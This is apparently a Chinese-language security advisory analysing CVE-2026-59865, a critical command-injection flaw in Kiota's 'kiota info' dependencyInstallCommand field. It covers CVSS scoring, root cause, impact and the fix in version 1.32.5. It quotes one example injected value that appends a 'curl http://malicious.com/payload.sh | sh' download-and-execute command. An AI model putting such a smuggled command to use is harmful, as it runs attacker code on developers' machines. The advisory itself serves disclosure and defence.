🔴 严重 | CVE-2026-59865 — Kiota is an OpenAPI based HTTP Client code generat...
🔴 【深度分析】严重安全漏洞:CVE-2026-59865
CVSS 评分: 严重(9.3)🔴 状态: Deferred 发布时间: 2026-07-16
🔍 技术细节速览
| 字段 | 值 |
|---|---|
| CVE ID | CVE-2026-59865 |
| CVSS 评分 | 9.3 🔴 |
| 严重程度 | 严重 |
| CVSS 向量 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X |
| CWE 分类 | CWE-94,CWE-829 |
| 发布时间 | 2026-07-16 |
| 最后更新 | 2026-07-17 |
| 状态 | Deferred |
| 数据来源 | security-advisories@github.com |
CVSS 4.0 评分: 9.3 (CRITICAL)
向量: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
危害等级: 严重 (Critical)
漏洞概述
CVE-2026-59865 是一个影响 Kiota(Microsoft 开发的基于 OpenAPI 的 HTTP 客户端代码生成器)的命令注入漏洞。攻击者可以通过构造恶意的 OpenAPI 描述文件,利用 kiota info 命令的 dependencyInstallCommand 字段实现 命令注入。当用户在手动执行或通过 VS Code 扩展自动触发依赖安装流程时,恶意命令将被执行,可能导致远程代码执行(RCE)。
该漏洞的 CVSS 4.0 评分高达 9.3,属于 Critical 级别,主要原因在于:
- 攻击向量 (AV:N): 无需网络特殊访问权限,可通过远程请求触发
- 攻击复杂度 (AC:L): 攻击技术简单,无需特殊条件
- 所需权限 (PR:N): 无需预先授权
- 用户交互 (UI:N): 不需要用户显式确认,仅需使用标准操作(如
kiota info --json) - 机密性/完整性/可用性影响 (VC:H/VI:H/VA:H): 三项均为 High
受影响组件与版本
| 组件 | 影响版本 |
|---|---|
| Kiota (Microsoft OpenAPI HTTP 客户端代码生成器) | < 1.32.5 |
| Kiota VS Code 扩展 | 所有依赖 kiota info 命令的旧版本 |
修复版本: 1.32.5(及更高版本)
漏洞原理分析
漏洞成因
Kiota 作为一个 OpenAPI 描述文件的解析与代码生成工具,支持从 OpenAPI 文档中读取 语言依赖安装信息,以自动生成并推荐用户安装特定的依赖包。
在 kiota info 命令中,Kiota 会从 OpenAPI 描述的 x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand 字段以及 dependency name、version 等字段中,提取由文档作者提供的 安装命令,并将其直接呈现给用户作为“推荐命令”。
然而,Kiota 并没有对这些来自外部 OpenAPI 文档的字段进行充分的消毒和验证。攻击者可以在 dependencyInstallCommand 字段中注入任意 shell 命令,例如:
"dependencyInstallCommand": "npm install --save @microsoft/kiota-abstractions & curl http://malicious.com/payload.sh | sh"
当用户(或 VS Code 扩展自动化流程)手动复制该命令并执行,或者通过 kiota info --json 输出自动驱动依赖安装流程时,恶意命令将被执行。
攻击向量
- 手动执行: 用户通过
kiota info查看某个 OpenAPI 描述文件时,攻击者控制的文档会显示一条看似正常的安装命令,但实际上嵌入了恶意载荷。 - VS Code 扩展自动化: Kiota VS Code 扩展在处理 OpenAPI 文档时,会自动解析
dependencyInstallCommand并执行依赖安装。如果扩展逻辑没有严格校验命令来源,则攻击者可以直接通过远程 API 文档触发命令注入,无需用户手动确认。
CWE 分类
| CWE ID | 名称 | 说明 |
|---|---|---|
| CWE-94 | Code Injection | 攻击者能够注入并执行任意 shell 命令 |
| CWE-829 | Inclusion of Functionality from Untrusted Control Sphere | 从不受信任的 OpenAPI 文档中直接引用执行逻辑 |
影响评估
攻击复杂度
- 低(AC:L):攻击者仅需构造一个恶意 OpenAPI 描述文件并使其被目标用户解析。
- 无需攻击前提(AT:N):无需绕过身份验证或 ACL。
利用条件
- 用户或 VS Code 扩展主动解析一个 攻击者控制的 OpenAPI 描述文件(例如通过 URL 引用或下载)。
- 用户或扩展 执行了
kiota info命令的依赖安装建议。
潜在后果
| 影响项 | 描述 |
|---|---|
| 机密性 | High - 攻击者可以读取本地文件系统、环境变量、SSH 密钥等敏感信息 |
| 完整性 | High - 可以修改文件、植入后门、篡改代码库 |
| 可用性 | High - 可以删除文件、停止服务、植入勒索软件 |
| 横向移动 | 可能利用获取的凭证进行内部网络横向攻击 |
综合评估: 该漏洞的 实际威胁极高,因为攻击者只需诱使用户解析一个恶意的 OpenAPI 文档(例如通过 GitHub 仓库、API 文档链接等常见途径),即可获得 完全的系统控制权限。
修复建议
官方修复
- 升级 Kiota 至 1.32.5 或更高版本。官方在 1.32.5 版本中严格过滤了来自 OpenAPI 文档的
dependencyInstallCommand,防止命令注入。
临时缓解措施
如果暂时无法升级,可采用以下措施:
- 手动审查命令: 在手动执行
kiota info返回的安装命令之前,仔细检查命令内容,避免运行包含&、|、;、$()等特殊字符的可疑命令。 - 禁用自动执行: 在 Kiota VS Code 扩展中,关闭自动依赖安装功能,改为手动确认。
- 使用可信源: 仅解析来自 受信任发布者 的 OpenAPI 描述文件,避免使用来源不明的第三方文档。
- 沙箱/容器运行: 在虚拟化或容器化环境中运行 Kiota,限制命令注入造成的损害。
参考资料
| 来源 | 链接 |
|---|---|
| GitHub Security Advisory | 待确认(通常由 security-advisories@github.com 发布) |
| NVD 页面 | https://nvd.nist.gov/vuln/detail/CVE-2026-59865 |
| CWE-94 | https://cwe.mitre.org/data/definitions/94.html |
| CWE-829 | https://cwe.mitre.org/data/definitions/829.html |
| Kiota 官方仓库 | https://github.com/microsoft/kiota |
结论
CVE-2026-59865 是一个 严重命令注入漏洞,攻击者可以通过构建恶意的 OpenAPI 描述文件,在不经用户充分确认的情况下,在目标系统上执行任意命令。该漏洞的 CVSS 4.0 评分高达 9.3,结合其利用低复杂度与高影响,强烈建议所有 Kiota 用户立即升级至 1.32.5 或更高版本,并在升级前采取必要的临时缓解措施。